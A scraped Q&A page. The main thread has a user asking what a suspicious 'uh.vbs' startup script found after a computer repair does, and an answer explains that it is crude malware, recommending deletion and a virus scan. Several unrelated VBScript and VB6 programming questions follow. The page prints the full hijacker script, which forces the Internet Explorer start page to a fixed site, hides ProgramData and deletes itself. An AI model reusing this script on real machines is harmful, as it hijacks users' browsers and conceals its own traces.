What does this Visual Basic Sript called uh.vbs do? - vbscript

not long ago sent my computer away for some off-warranty work (the BIOS was not recognizing one of my HDD bays) and when it came back with a new HDD board, I was getting an odd error while rebooting.
Eventually I figured out that there was a new file, called "uh.vbs", in the Windows startup folder, and there was an error when it was run upon boot. Not knowing anything about vbs I have no idea what this file does, beyond that it was either created or modified while my computer was in the repair shop. I notice that it points to a couple webpages, and has some Chinese characters, so I'm hoping that one of the well-versed people on this site can fill me in. Below is the code...
Edit: I had to take a bunch of it out because of a strange error apparently caused by Chinese characters, which is not identified by the site and which took me half an hour to eventually figure out. I deleted the Chinese-looking characters and put MISSING_CHINESE_CHARTERS everywhere I took them out.
On Error Resume Next
set lhwy=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
WScript.Sleep(30000)
set lhwy=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
Wscript.quitPAPK
Thanks for any input.

It seems to be a relatively poor attempt at malware.
This bit is trying to set your IE start page to http://home.yy8000.com/ -
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
Then the next bit waits 30 seconds before doing it again (the writer probably thought there was a chance the registry would be inaccessible when the script first runs).
This next bit is a little odd, it hides the ProgramData folder (which in most cases will be hidden anyway) -
Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0
The section with the unusual characters simply delete the script once it's done it's "damage".
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if
My suspicion would be that the people who did the repair plugged a USB stick into your computer that had previously been plugged into another repair. The file had been copied automatically onto the USB and then onto your computer when they plugged it in.
Delete the file and do a virus check. The malware attempt is so poor this simple script may be hiding a bigger issue. I've seen scripts like this in the past where there is another process running that creates the script file (possibly during shutdown).
Look at Kaspersky's live CD if you didn't have a virus checker installed before sending your PC in for warranty.

Related

WMI to get current printer job (including number of copies) [duplicate]

This question already has an answer here:
Real number of TotalPages of a PrintJob (Win32_PrintJob)
(1 answer)
Closed last month.
I tried to follow the example of WMI scripting (VBScript) to obtain several info from the current Windows OS, including the print job. Both are working successfully.
' My SampleCapturingPrinter.vbs
' ———————————————–‘
Option Explicit
Dim objWMIService, objItem, colItems, strComputer
' On Error Resume Next
strComputer = "."
While True
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Printer")
For Each objItem in colItems
Wscript.Echo "- " & objItem.DefaultCopies
Next
Wscript.Echo "====================="
WScript.Sleep 1000
Wend
WSCript.Quit
' End of My SampleCapturingPrinter.vbs
' ———————————————–
But from the official documentation , there is no info about -current number of copies- ? So my question is... where is the counter located / stored exactly?
If let say the user click Print through out any app and set the copies to let say '3 copies' and pressed (Print). The printer job tracked nicely, but I don't know where the 'number of copies' stored.
CMIIW, is it possible through out WMI to obtain the current details?
As I've said in other answers, WMI has problems with printing, and it doesn't provide copies.
The question itself is problematic, similar to N-Up. Early printers didn't have any concept of copies, so the Windows printing APIs support the concept weakly with an optional copies entry in the DEVMODE. To complicate things, some apps (notably some versions of MS Office) handle copies internally, while some drivers don't use the DEVMODE entries.

Solving "unable to connect to the specified server" error in Diadem DataFileHeaderAccess

I am currently using Diadem to process a large amount of data.
There is a specific treatment that I must do on a large number of files. Therefore, I have a script loading each file one by one to do this every time.
The thing is, after several hours of computation, I get an error : Incorrect instruction or user command. In <DataFileHeaderAccess.VBC> (line:1328, column:5): Unable to conect to the specified server.
By this time, it will have successfully passed the portion of code where it happens several times, and if I launch it back on the file that has issues, it will not fail (not for this file at least).
Even more strange is that nothing is done remotely there, so I have no idea which server it might be talking about. And the file is ot opened elsewhere. Most of the time, it happens when I'm not even in the office.
And finally, I managed to find nothing anywhere regarding this issue, And I'm growing quite desperate to manage to solve it.
So ... Simple question ... "Help ?".
Well, let's develop it a little :
What might be the cause of this issue ?
How can I solve it ?
Here is the portion of code incriminated if it might help :
Function TryLoadGroup(sPath, sFileName, sGroupName, sNewGroupName)
Dim oDataFileHeader, oImportedGroup
Set oDataFileHeader = DataFileHeaderAccess(sPath & sFileName, "TDM", True)
Dim iLoop, bRet
For iLoop = 1 To oDataFileHeader.GroupCount
If oDataFileHeader.GroupNameGet(iLoop) = sGroupName Then
bret = True
End If
Next
oDataFileHeader.Close(False)
If bRet Then
Set oImportedGroup = DatafileLoadSel(sPath & sFileName,"TDM", sGroupName & "/*")
oImportedGroup.Item(1).Name = sNewGroupName
Set TryLoadGroup = oImportedGroup
Else
Set TryLoadGroup = Data.CreateElementList
End If
End Function
Set oDataFileHeader = DataFileHeaderAccess(sPath & sFileName, "TDM", True)
The error message just means that it is not capable to open the file.
There are some things I can think of
The file is corrupt (but this seems not to be true because you can open it)
The file is opened by DIAdem or a group of it is already loaded into DIAdem
DIAdem has run out of memory
Potentially you should put an error handler arround your inner loop
on error goto 0
' call a method
if 0 <> err.number then
LogFileWrite "Unable to insert file '" & filename & "': " & err.description
end if
on error goto 0
This will allow you to go on processing and see the error in the DIAdem Logfile later on.

Determine if a program started through my script is still running without using minmgmts://

Short introduction
I have an SSD and I frequently record movies with Fraps. Unfortunately, my SSD is not that big and my secondary harddrive is not fast enough for Fraps to record movies to. I decided to write a script that will start Fraps for me, and then checks if Fraps is done recording, moves the file to my second harddisk and notifies me of this event.
This works great. The problem is that I want to exit the script when I close Fraps. The only way VBScript seems to be able to do it (at least, thats what everyone recommends doing) is by querying the processlist to see if the program is active. Because Fraps is a heavy program, and I run many programs at the same time, just querying this list creates a lag spike in my recording. It only happens if I have too many programs open, but the programs themselves are not the problem, just the amount.
Given that it creates just one lag spike with one check is already too much so I'm really looking for a different solution if there is any.
Visual Basic
I've programmed a lot in Visual Basic, even though it was a many many years ago, and later using VBA, and in there you can basically start a program, retreive the handle of it, and by that handle alone, check if the application still runs. Does something like that exist in VBScript?
If VBScript won't do it, is there another simple macro scripting program that can check for filesize, execute a program and determine if that program is still running or not at a later point in the script?
The code I currently use for determining if a program runs is this:
Function IsProcessRunning( strComputer, strProcess )
Dim Process, strObject
IsProcessRunning = False
strObject = "winmgmts://" & strComputer
For Each Process in GetObject( strObject ).InstancesOf( "win32_process" )
If UCase( Process.name ) = UCase( strProcess ) Then
IsProcessRunning = True
Exit Function
End If
Next
End Function
Assuming this is on your local computer, have you tried collecting the results off of the command line rather than querying the winmgmts object?
E.g.:
Function IsProcessRunning(strProcess)
Dim objShell, strCommand, objExecObject, strText
Set objShell = CreateObject("Wscript.Shell")
strCommand = "%comspec% /c tasklist"
Set objExecObject = objShell.Exec(strCommand)
Do While Not objExecObject.StdOut.AtEndOfStream
strText = objExecObject.StdOut.ReadAll()
Loop
If instr(UCase(strText), UCase(strProcess)) Then
IsProcessRunning = True
Exit Function
Else
IsProcessRunning = False
Exit Function
End If
End Function
I found out how to do it using the method I used to do in Visual Basic, but using the new things I learned during researching Rich's method.
Even though Rich's method doesn't work, it pushed me into the right direction, so I'm giving him a vote up.
Here's the script for starting Fraps:
Dim oShell, oFraps
Set oShell = WScript.CreateObject( "WScript.Shell" )
set oFraps = oShell.exec("""c:\path\to\fraps\fraps.exe""")
Here's the main script that keeps looping until Fraps has exited.
do while IsProcessRunning()
'your code here
loop
wscript.quit
And here's the function to see if Fraps still runs.
Function IsProcessRunning()
dim result
result = oFraps.StdOut.readall
end function
I just wanted to see if the above thrown in an error and work with an error catcher to do it, but I was very surprised when just this code made my script work! It starts fraps for me, and the script continues to run until I close fraps. I use sapi.speak to notify me when the script starts and ends, and I can keep fraps open for a long time and I don't hear that the script ends. I then close fraps, and moments later the script tells me that it ends.

Word 2010 "object error" during template load

We have recently upgraded to Office 2010 from 2003. VBScript type code that was working fine in 2003 now fails intermittently in 2010, with 'object error' or 'command failed'.
From what I've managed to work out, this appears to be the result of the Normal template still downloading/loading, despite the CreateObject call completing. When the code works, it seems that normal has loaded quickly.
Code:
Dim oWord As Object
Set oWord = CreateObject("Word.Application")
oWord.Visible = True
Set document = oWord.Documents.Open("\\networkshare\networkshare\mytemplate.dot")
The code fails on "Set document ="
I have looked for solutions to this however I haven't found any trace of people having this issue elsewhere. If I insert a delay between oWord.Visible and Set document, the issue is resolved. I'd prefer to fix this properly though, as we often deal with many hundreds of documents in one run.
I have tried to detect the completion of loading for Normal, however have been unsuccessful in this regard.
Has anyone else seen this issue and found a solution?
Many thanks
Philip
May be you should try "grab" a Word object before creating it.
Dim oWord As Object
On Error Resume Next
Set oWord = GetObject(,"Word.Application")
If oWord Is Nothing Then Set oWord = CreateObject("Word.Application")
Alternatively, disable alerts, and put the oWord.Documents.Open into a loop. For a few times with a second wait in between or until the .dot template is opened, then re-enable alerts.
Since it's on a network share, latency most likely be higher than on local storage devices. That may explain why if a wait works fine.
Depending on what the .dot template do, you might want it Visible after it is opened.
Code that was used to solve this issue:
Set oWord = CreateObject("Word.Application")
On Error Resume Next
Set oDoc = Nothing
Do While oDoc Is Nothing
Set oDoc = oWord.Documents.Open([template path])
<Wait 50ms>
Loop On Error Goto 0
Off topic, but would be useful for others with this issue:
As of Word 2010, the ActivePrinter property is now case sensitive, so you have to ensure capitalisation is the same as shown in the printers dialog.
The error Word 2010 generates when setting this property fails is "Microsoft Word: There is a printer error"

Is there any way to tell if the Windows Directory is writeable without actually writing to it to test?

I have some old vb6 code that checks to see if the Windows directory is writeable by WRITING to it then reading a value back.
But... we have a virus scanner that's viewing that as suspicious behavior so I want to check it without touching it.
Any Windows API calls for that? (Ideally for Win 98 and above)
Something to remember here is that the file system is volatile. About the only way I can see this code being used is to first do a check if a folder is writable, and then try to write something you wanted to write. The problem here is that with a volatile file system things might change in between when you make your check and when you try to write. As a consequence, you still have to be able to handle an exception if your write fails. That means the initial check is pretty much wasted. Better to put your effort into writing a better exception handler.
Additionally, for windows 2000 and later the Windows directly should only ever be writable if the user is running as an administrator. For a very long time running as an administrator was common practice, but people are starting to get the hint that this isn't a good idea. Long term, it's not a good idea for your program to do anything that requires running that way.
In fact, starting with Windows Vista, the user doesn't run anything as administrator by default, even when logged in to the administrator account. Instead, they have to manually choose to run the program as administrator or wait a security check to fail the system can prompt them to elevate.
If you have the VB6 code, you should take the time to fix it so that it does NOT need to write to the Windows directory at all because regardless of whether or not you are an administrator - unless you work at Microsoft you should consider that directory off limits.
However, you should consider that on Windows 98, the user will always have the ability to write to the Windows directory. On Windows XP, local administrators will. On Windows Vista and Seven, even administrators will not unless your application has been elevated.
So you can check for whether or not the user is in the built-in role BUILTIN\Administrators using CheckTokenMembership. This will be false for non-admins or non-elevated processes. It does not guarantee you can write to the Windows directory but it will be right most of the time. You can then add error handling logic for when the call actually fails.
But again, you should take the opportunity to fix the code and not use the Windows directory.
For Windows 2000 and above you could use GetNamedSecurityInfo() and AccessCheck(), but I would imagine those are a pain to call from VB.
Here is a function that will do it. I adapted this from some other code kind of quickly so if you use it you need to add error handling, (for instance a directory that doesn't exist just returns False. I have no idea if your anti-virus software is going to like this or not.
Function FolderIsReadOnly(ByVal FolderSpec As String) As Boolean
Dim rst As Long
Dim udtW32FindD As WIN32_FIND_DATA
Dim lngFHandle As Long
Dim strFolder As String 'set to FolderSpec parameter so I can change it
If Len(FolderSpec) = 0 Then
FolderIsReadOnly = False
Exit Function
End If
strFolder = FolderSpec
If Right$(strFolder, 1) <> "\" Then
strFolder = strFolder & "\"
End If
strFolder = strFolder & "*" 'add the wildcard allows finding share roots
lngFHandle = FindFirstFile(strFolder, udtW32FindD)
If lngFHandle <> INVALID_HANDLE_VALUE Then
Call FindClose(lngFHandle)
FolderIsReadOnly = (udtW32FindD.dwFileAttributes And FILE_ATTRIBUTE_READONLY) = FILE_ATTRIBUTE_READONLY
End If
End Function
Function IsPathAccessible(ByVal sPath As String) As Boolean
On Error GoTo ErrHandler
FileSystem.SetAttr sPath, vbNormal
IsPathAccessible = True
Exit Function
ErrHandler:
IsPathAccessible = False
End Function

Resources